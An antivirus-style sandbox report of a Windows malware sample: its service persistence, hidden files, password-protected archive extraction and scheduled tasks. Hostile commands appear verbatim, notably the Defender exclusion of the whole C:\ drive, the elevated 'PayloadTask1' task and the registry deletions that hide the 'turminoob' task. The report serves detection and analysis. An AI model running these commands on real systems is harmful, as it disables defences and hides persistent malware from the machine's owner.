Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\MagiskQvmSvc_1082678] 'ImagePath' = 'cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "%ProgramFiles(x86)%\Windows NT\tProtect.dll" typ...
- [HKLM\System\CurrentControlSet\Services\CleverSoar] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\CleverSoar] 'ImagePath' = '%ProgramFiles(x86)%\Windows NT\tProtect.dll'
- [HKLM\System\CurrentControlSet\Services\MagiskQvmSvc_1088216] 'ImagePath' = 'cmd /c start sc start CleverSoar'
- [HKLM\System\CurrentControlSet\Services\MagiskQvmSvc_1092771] 'ImagePath' = 'cmd /c start sc start CleverSoar'
- [HKLM\System\CurrentControlSet\Services\MagiskQvmSvc_1094487] 'ImagePath' = 'cmd /c start sc start CleverSoar'
Creates the following services
- 'MagiskQvmSvc_1082678' cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "%ProgramFiles(x86)%\Windows NT\tProtect.dll" type= kernel start= auto
- 'CleverSoar' %ProgramFiles(x86)%\Windows NT\tProtect.dll
- 'MagiskQvmSvc_1088216' cmd /c start sc start CleverSoar
- 'MagiskQvmSvc_1092771' cmd /c start sc start CleverSoar
- 'MagiskQvmSvc_1094487' cmd /c start sc start CleverSoar
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\'"
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %TEMP%\is-pfnfc.tmp\<File name>.tmp
- %ProgramFiles(x86)%\windows nt\locale4.dat
- %ProgramFiles(x86)%\windows nt\locale3.dat
- %ProgramFiles(x86)%\windows nt\locale2.dat
- %ProgramFiles(x86)%\windows nt\locale.dat
- %ProgramFiles(x86)%\windows nt\trash
- %ProgramFiles(x86)%\windows nt\locale7.bin
- %ProgramFiles(x86)%\windows nt\locale4.bin
- %ProgramFiles(x86)%\windows nt\locale3.bin
- %ProgramFiles(x86)%\windows nt\locale2.bin
- %ProgramFiles(x86)%\windows nt\locale7.dat
- %ProgramFiles(x86)%\windows nt\locale.bin
- %ProgramFiles(x86)%\windows nt\res.dat
- %ProgramFiles(x86)%\windows nt\task.xml
- %ProgramFiles(x86)%\windows nt\hrsw.vbc
- %ProgramFiles(x86)%\windows nt\is-1arvi.tmp
- %TEMP%\is-aqppk.tmp\update.vbc
- %TEMP%\is-aqppk.tmp\_isetup\_setup64.tmp
- %TEMP%\is-63uqa.tmp\<File name>.tmp
- %TEMP%\is-90n9o.tmp\update.vbc
- %TEMP%\is-90n9o.tmp\_isetup\_setup64.tmp
- %ProgramFiles(x86)%\windows nt\7zr.exe
- %ProgramFiles(x86)%\windows nt\tprotect.dll
Sets the 'hidden' attribute to the following files
- %ProgramFiles(x86)%\windows nt\tprotect.dll
- %ProgramFiles(x86)%\windows nt\res.dat
- %ProgramFiles(x86)%\windows nt\locale7.dat
- %ProgramFiles(x86)%\windows nt\locale7.bin
- %ProgramFiles(x86)%\windows nt\locale4.dat
- %ProgramFiles(x86)%\windows nt\locale4.bin
- %ProgramFiles(x86)%\windows nt\locale3.dat
- %ProgramFiles(x86)%\windows nt\task.xml
- %ProgramFiles(x86)%\windows nt\locale3.bin
- %ProgramFiles(x86)%\windows nt\locale2.bin
- %ProgramFiles(x86)%\windows nt\locale.dat
- %ProgramFiles(x86)%\windows nt\locale.bin
- %ProgramFiles(x86)%\windows nt\hrsw.vbc
- %ProgramFiles(x86)%\windows nt\file.dat
- %ProgramFiles(x86)%\windows nt\7zr.exe
- %ProgramFiles(x86)%\windows nt\locale2.dat
- %ProgramFiles(x86)%\windows nt\trash
Deletes the following files
- %TEMP%\is-90n9o.tmp\update.vbc
- %TEMP%\is-90n9o.tmp\_isetup\_setup64.tmp
- %TEMP%\is-pfnfc.tmp\<File name>.tmp
Moves the following files
- from %ProgramFiles(x86)%\windows nt\is-1arvi.tmp to %ProgramFiles(x86)%\windows nt\file.dat
Miscellaneous
Creates and executes the following
- '%TEMP%\is-pfnfc.tmp\<File name>.tmp' /SL5="$50244,7367538,845824,<Full path to file>"
- '%TEMP%\is-63uqa.tmp\<File name>.tmp' /SL5="$701A4,7367538,845824,<Full path to file>" /VERYSILENT
- '%ProgramFiles(x86)%\windows nt\7zr.exe' x -y res.dat -pad8dtyw9eyfd9aslyd9iald
- '%ProgramFiles(x86)%\windows nt\7zr.exe' x -y locale7.dat -pasfasdf79yf9layslofs
- '%ProgramFiles(x86)%\windows nt\7zr.exe' x -y -bd locale.dat -pfhliafyaiofyaif
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "turminoob" /xml "%ProgramFiles(x86)%\Windows NT\task.xml"
- '<SYSTEM32>\cmd.exe' /c start reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\turminoob" /v Index /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\schtasks.exe' /Run /TN "\PayloadTask1"
- '%WINDIR%\syswow64\schtasks.exe' /Create /F /TN "\PayloadTask1" /RU "user" /RL HIGHEST /SC ONCE /ST 00:00 /TR "\"C:\\Program Files (x86)\\Windows NT\\winnt.exe\""
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\turminoob" /v SD /f
- '<SYSTEM32>\cmd.exe' /c start reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\turminoob" /v SD /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\turminoob" /v Index /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /q /c 7zr.exe x -y -bd locale.dat -pfhliafyaiofyaif > NUL 2>&1
- '%WINDIR%\syswow64\cmd.exe' /q /c SCHTASKS /Create /F /TN "\PayloadTask1" /RU "user" /RL HIGHEST /SC ONCE /ST 00:00 /TR "\"C:\\Program Files (x86)\\Windows NT\\winnt.exe\"" & SCHTASKS /Run /TN "\PayloadTask1" & schtasks /...
- '<SYSTEM32>\taskeng.exe' {D7549EE4-B85D-45E5-B957-2236CE1DF461} S-1-5-21-3691498038-2086406363-2140527554-1000:ebxgsonfpf\user:Interactive:[1]
- '<SYSTEM32>\sc.exe' start CleverSoar
- '<SYSTEM32>\cmd.exe' /c start sc start CleverSoar
- '<SYSTEM32>\sc.exe' create CleverSoar displayname= CleverSoar binPath= "%ProgramFiles(x86)%\Windows NT\tProtect.dll" type= kernel start= auto
- '<SYSTEM32>\cmd.exe' /c start sc create CleverSoar displayname= CleverSoar binPath= "%ProgramFiles(x86)%\Windows NT\tProtect.dll" type= kernel start= auto
- '<SYSTEM32>\cmd.exe' /c start schtasks /create /tn "turminoob" /xml "%ProgramFiles(x86)%\Windows NT\task.xml"
- '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "\PayloadTask1" /F
- '%ProgramFiles(x86)%\windows nt\7zr.exe' x -y locale7.dat -pasfasdf79yf9layslofs' (with hidden window)
- '%ProgramFiles(x86)%\windows nt\7zr.exe' x -y res.dat -pad8dtyw9eyfd9aslyd9iald' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /q /c 7zr.exe x -y -bd locale.dat -pfhliafyaiofyaif > NUL 2>&1' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /q /c SCHTASKS /Create /F /TN "\PayloadTask1" /RU "user" /RL HIGHEST /SC ONCE /ST 00:00 /TR "\"C:\\Program Files (x86)\\Windows NT\\winnt.exe\"" & SCHTASKS /Run /TN "\PayloadTask1" & schtasks /...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\'"' (with hidden window)
